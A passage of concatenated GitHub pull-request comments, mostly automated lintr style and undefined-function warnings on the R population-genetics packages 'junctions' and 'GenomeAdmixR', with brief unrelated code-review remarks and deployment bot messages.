^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions_markers.R:20:41:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L20) *style:* **Variable or function name should be snake_case.**
```r
number_of_junctions_markers <- function(N = Inf,
                                        ^
```
[R/number_of_junctions_markers.R:21:41:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L21) *style:* **Variable or function name should be snake_case.**
```r
                                        H_0 = 0.5,
                                        ^~~
```
[R/number_of_junctions_markers.R:32:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions_markers.R#L32) *warning:* **no visible global function definition for ‘number_of_junctions_di’**
```r
    expected_junctions <- number_of_junctions_di(N, H_0, t, di)
                          ^~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculate the average number of junctions after t generations, provided information on the initial heterozygosity, population size and the number of generations.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param C Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/number_of_junctions.R:13:33:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L13) *style:* **Variable or function name should be snake_case.**
```r
number_of_junctions <- function(N = Inf,
                                ^
```
[R/number_of_junctions.R:14:33:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L14) *style:* **Variable or function name should be snake_case.**
```r
                                R = Inf,
                                ^
```
[R/number_of_junctions.R:15:33:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L15) *style:* **Variable or function name should be snake_case.**
```r
                                H_0 = 0.5,
                                ^~~
```
[R/number_of_junctions.R:28:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/number_of_junctions.R#L28) *style:* **Variable or function name should be snake_case.**
```r
  K <- junctions::calc_k(N, R, H_0, C)
  ^
```
[R/optim_limits.R:5:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/optim_limits.R#L5) *style:* **Lines should not be more than 80 characters.**
```r
#' @param calc_func function to calculate the time, should accept two arguments: upper, lower and should return a stats::optimize object with two properties: $minimum and $objective
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/optim_limits.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/optim_limits.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param iterations number of times the boundaries should be adjusted to obtain an estimate that is not close to the boundaries. After this number of iterations is exceeded, NA is returned
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/phased_log_likelihood.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/phased_log_likelihood.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculates the log likelihood of observing the phased data, given the population size, initial heterozygosity and time since admixture
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/phased_log_likelihood.R:3:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/phased_log_likelihood.R#L3) *style:* **Lines should not be more than 80 characters.**
```r
#' @param local_anc_matrix Local_anc can be provided as either matrix with two columns, where the first column represents ancestry on chromosome 1, and the second column represents ancestry on chromosome 2. Ancestry labels used should be [0, 1], where 0 indicates the first ancestor, and 1 indicates the second ancestor. Alternatively, the user can provide a vector indicating whether at the specific marker, the focal individual is homozygous for the first ancestor (0), homozygous for the second ancestor (1) or heterozygous (2).
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/phased_log_likelihood.R:38:11:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/phased_log_likelihood.R#L38) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (sum( labels %in% 1:4) != length(labels)) {
          ^
```
[R/phased_log_likelihood.R:45:58:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/phased_log_likelihood.R#L45) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                      local_anc[2:length(local_anc)]      )
                                                         ^
```
[R/sim_backcrossing.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_backcrossing.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param size_in_morgan Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_backcrossing.R:11:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_backcrossing.R#L11) *style:* **Lines should not be more than 80 characters.**
```r
#' recorded to be returned at the end of the simulation. If left at -1, ancestry is recorded at every generation (computationally heavy).
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_backcrossing.R:12:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_backcrossing.R#L12) *style:* **Lines should not be more than 80 characters.**
```r
#' @return List with five entries: average_junctions: average number of junctions over time, detected_junctions: average number of detected junctions, given the markers. markers: vector with the locations of the molecular markers, junction_distribution: distribution of junctions per time step average_heterozygosity: average heterozygosity.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_fin_chrom.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_fin_chrom.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Individual based simulation of the accumulation of junctions for a chromosome with regularly distributed markers.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_fin_chrom.R:5:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_fin_chrom.R#L5) *style:* **Lines should not be more than 80 characters.**
```r
#' @param morgan Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_fin_chrom.R:9:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_fin_chrom.R#L9) *style:* **Lines should not be more than 80 characters.**
```r
#' @return \item{avgJunctions}{vector of the average number of junctions at time = [0, total_runtime]}
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_fin_chrom.R:17:27:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_fin_chrom.R#L17) *style:* **Remove spaces before the left parenthesis in a function call.**
```r
sim_fin_chrom <- function (pop_size = 100,
                          ^
```
[R/sim_fin_chrom.R:22:28:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_fin_chrom.R#L22) *style:* **Variable or function name should be snake_case.**
```r
                           R = 100) {
                           ^
```
[R/sim_inf_chrom.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_inf_chrom.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Individual based simulation of the accumulation of junctions for a chromosome with an infinite number of recombination sites.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_inf_chrom.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_inf_chrom.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param morgan Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_inf_chrom.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_inf_chrom.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param markers The number of genetic markers superimposed on the chromosome. If markers is set to -1, no markers are superimposed (faster simulation)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_inf_chrom.R:9:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_inf_chrom.R#L9) *style:* **Lines should not be more than 80 characters.**
```r
#' @return \item{avgJunctions}{vector of the average number of junctions at time = [0, total_runtime]}
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_phased_unphased.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_phased_unphased.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Individual based simulation of the accumulation of junctions, returning phased and unphased data. Ancestry on both chromosomes of 10 randomly sampled individuals per generations is returned.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_phased_unphased.R:6:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_phased_unphased.R#L6) *style:* **Lines should not be more than 80 characters.**
```r
#' @param size_in_morgan Mean number of crossovers per meiosis (e.g. size in Morgan of the chromosome)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_phased_unphased.R:7:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_phased_unphased.R#L7) *style:* **Lines should not be more than 80 characters.**
```r
#' @param number_of_markers The number of genetic markers superimposed on the chromosome.
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_phased_unphased.R:8:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_phased_unphased.R#L8) *style:* **Lines should not be more than 80 characters.**
```r
#' @param time_points vector with time points at which local ancestry has to be recorded to be returned at the end of the simulation. If left at -1, ancestry is recorded at every generation (computationally heavy).
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/sim_phased_unphased.R:11:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/sim_phased_unphased.R#L11) *style:* **Lines should not be more than 80 characters.**
```r
#' @return a tibble with five columns: [time, individual, marker location, ancestry chromosome 1, ancestry chromosome 2]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/unphased_log_likelihood.R:2:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/unphased_log_likelihood.R#L2) *style:* **Lines should not be more than 80 characters.**
```r
#' @description Calculates the log likelihood of observing the unphased data, given the population size, initial heterozygosity and time since admixture
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/unphased_log_likelihood.R:3:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/unphased_log_likelihood.R#L3) *style:* **Lines should not be more than 80 characters.**
```r
#' @param local_anc_matrix Local_anc can be provided as either matrix with two columns, where the first column represents ancestry on chromosome 1, and the second column represents ancestry on chromosome 2. Ancestry labels used should be [0, 1], where 0 indicates the first ancestor, and 1 indicates the second ancestor. Alternatively, the user can provide a vector indicating whether at the specific marker, the focal individual is homozygous for the first ancestor (0), homozygous for the second ancestor (1) or heterozygous (2).
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/unphased_log_likelihood.R:34:11:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/unphased_log_likelihood.R#L34) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (sum( labels %in% 1:3) != length(labels)) {
          ^
```
[R/unphased_log_likelihood.R:41:58:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/unphased_log_likelihood.R#L41) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                      local_anc[2:length(local_anc)]      )
                                                         ^
```
[R/util.R:22:10:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L22) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  return( get_states_vector(local_anc))
         ^
```
[R/util.R:22:11:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L22) *warning:* **no visible global function definition for ‘get_states_vector’**
```r
  return( get_states_vector(local_anc))
          ^~~~~~~~~~~~~~~~~
```
[R/util.R:56:42:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L56) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                    (local_anc_matrix[, 1 ] == local_anc_matrix[, 2]))
                                         ^
```
[R/util.R:108:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L108) *style:* **Variable or function name should be snake_case.**
```r
get_expectation_O_state <- function(P, p, focal_state) {
^~~~~~~~~~~~~~~~~~~~~~~
```
[R/util.R:108:37:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L108) *style:* **Variable or function name should be snake_case.**
```r
get_expectation_O_state <- function(P, p, focal_state) {
                                    ^
```
[R/util.R:116:49:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L116) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (focal_state == 3) cond_prob <- (q ^ 2) * ( P[1] + P[4] + P[7]) +
                                                ^
```
[R/util.R:122:49:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L122) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
  if (focal_state == 4) cond_prob <- (p ^ 2) * ( P[1] + P[4] + P[7]) +
                                                ^
```
[R/util.R:146:1:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L146) *style:* **Variable or function name should be snake_case.**
```r
get_expectation_O_state_phased <- function(P, p, focal_state) {
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/util.R:146:44:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L146) *style:* **Variable or function name should be snake_case.**
```r
get_expectation_O_state_phased <- function(P, p, focal_state) {
                                           ^
```
[R/util.R:151:18:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/R/util.R#L151) *warning:* **no visible global function definition for ‘get_expectation_O_state’**
```r
    cond_prob <- get_expectation_O_state(P, p, focal_state)
                 ^~~~~~~~~~~~~~~~~~~~~~~
```
[tests/testthat/test-equations.R:11:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-equations.R#L11) *style:* **Variable or function name should be snake_case.**
```r
  A <- is.infinite(v3)
  ^
```
[tests/testthat/test-equations.R:18:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-equations.R#L18) *style:* **Variable or function name should be snake_case.**
```r
  J <- junctions::number_of_junctions(N = 100, R = 1000,
  ^
```
[tests/testthat/test-marker_dist.R:4:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-marker_dist.R#L4) *style:* **Variable or function name should be snake_case.**
```r
  R <- 1000
  ^
```
[tests/testthat/test-marker_dist.R:16:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-marker_dist.R#L16) *style:* **Variable or function name should be snake_case.**
```r
  N <- 1e3
  ^
```
[tests/testthat/test-marker_dist.R:17:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-marker_dist.R#L17) *style:* **Variable or function name should be snake_case.**
```r
  R <- 1000
  ^
```
[tests/testthat/test-marker_dist.R:60:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-marker_dist.R#L60) *style:* **Variable or function name should be snake_case.**
```r
  N <- 1e3
  ^
```
[tests/testthat/test-marker_dist.R:61:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-marker_dist.R#L61) *style:* **Variable or function name should be snake_case.**
```r
  R <- 1000
  ^
```
[tests/testthat/test-sims.R:4:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-sims.R#L4) *style:* **Variable or function name should be snake_case.**
```r
  R <- 100 #chromosome size
  ^
```
[tests/testthat/test-sims.R:5:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-sims.R#L5) *style:* **Variable or function name should be snake_case.**
```r
  N <- 100 #population size
  ^
```
[tests/testthat/test-sims.R:6:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-sims.R#L6) *style:* **Variable or function name should be snake_case.**
```r
  H_0 <- 0.5 #initial heterozygosity
  ^~~
```
[tests/testthat/test-sims.R:29:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-sims.R#L29) *style:* **Variable or function name should be snake_case.**
```r
  N <- 50 #population size
  ^
```
[tests/testthat/test-sims.R:30:3:](https://github.com/thijsjanzen/junctions/blob/0f6e260da45978fc0050cef055790f7c11fb7b96/tests/testthat/test-sims.R#L30) *style:* **Variable or function name should be snake_case.**
```r
  H_0 <- 0.5 #initial heterozygosity
  ^~~
```


when running without --duplicates option, there is an error:
Warning: something's wrong at ./yourtv.pl line 173.

=> is this required?  warn(Dumper(@DUPECHANDATA));


Same comment as above . Use os module to handle this assignment . So that your script will be os independent


This script if i execute in linux it wont work due to the hardcoding in windows style. Please use the os module
For example: os.path.join("C","Users","gur53856","Test")


This is not valid. You can simply put pass statement here when you dont have anything to initiate


@iru- Apparently the "-no-pie" option is not present in gcc version 4.8.5 used in CentOS 7, but is present in gcc version 9.x. We can do a test in the Makefile to set the "-no-pie" option based on the gcc major version, if we can figure out when the option was introduced into gcc.


If this is a request-level logic, then you need to consider performance issues and avoid file's IO inside the request.

It is recommended that these files be cached during the NodeJS service startup process.


:hourglass_flowing_sand: Waiting for custom rule data to be resolved
:point_right: click here to view a full list of the events :point_left:


:white_check_mark: All Rules (1 / 1) Passed

      :crown: Good job! this pull request is aligned with your organization's best practices!

      :point_right: You can review your rules settings at smart policy management :point_left:

:point_right: click here to view a full list of the events :point_left:


[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-836-maginative.pantheonsite.io/)

Created multidev environment [ci-836](https://dashboard.pantheon.io/sites/2266d250-4a93-49c0-b38f-25a486e2eaf9#ci-836) for maginative.


done


Did you follow the PEP8 style ?
https://www.python.org/dev/peps/pep-0008/

Refer the link and try to follow the coding guidelines as mentioned in that link


Successfully aliased the URL <https://dwolla-9f187i2fm.now.sh> to the following aliases:

* https://dwolla.chcepe.now.sh
* https://dwolla-git-master.chcepe.now.sh


Very nice commit.


> Note: Using VAG in the name can spark unwanted attention from VW Group ;-)

Good hint!


Did someone delete my first comment about memcmp? :v


Successfully aliased the URL <https://dwolla-csqaon5c2.now.sh> to the following aliases:

* https://dwolla.chcepe.now.sh
* https://dwolla-git-master.chcepe.now.sh


`Entry->StyleName` not initialized.


Nowa nazwa dla widgety.txt?


why is it called valid? how about comp_field?


What is this for?


Successfully aliased the URL <https://currency-converter-lqh2icfqj.now.sh> to the following aliases:

* https://currency-converter.now.sh
* https://currency-converter.akepinski.now.sh
* https://currency-converter-git-master.akepinski.now.sh


[R/calculate_allele_frequencies.R:34:17:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_allele_frequencies.R#L34) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  source_pop <- check_input_pop(source_pop)
                ^~~~~~~~~~~~~~~
```
[R/calculate_allele_frequencies.R:36:18:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_allele_frequencies.R#L36) *warning:* **no visible global function definition for ‘population_to_vector’**
```r
  pop_for_cpp <- population_to_vector(source_pop)
                 ^~~~~~~~~~~~~~~~~~~~
```
[R/calculate_fst.R:41:11:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L41) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  pop1 <- check_input_pop(pop1)
          ^~~~~~~~~~~~~~~
```
[R/calculate_fst.R:43:11:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L43) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  pop2 <- check_input_pop(pop2)
          ^~~~~~~~~~~~~~~
```
[R/calculate_fst.R:72:16:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L72) *warning:* **no visible global function definition for ‘create_random_markers’**
```r
    markers <- create_random_markers(number_of_markers)
               ^~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_fst.R:78:24:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L78) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_1 <- 10 + findtype(pop1[[i]]$chromosome1, focal_marker)
                       ^~~~~~~~
```
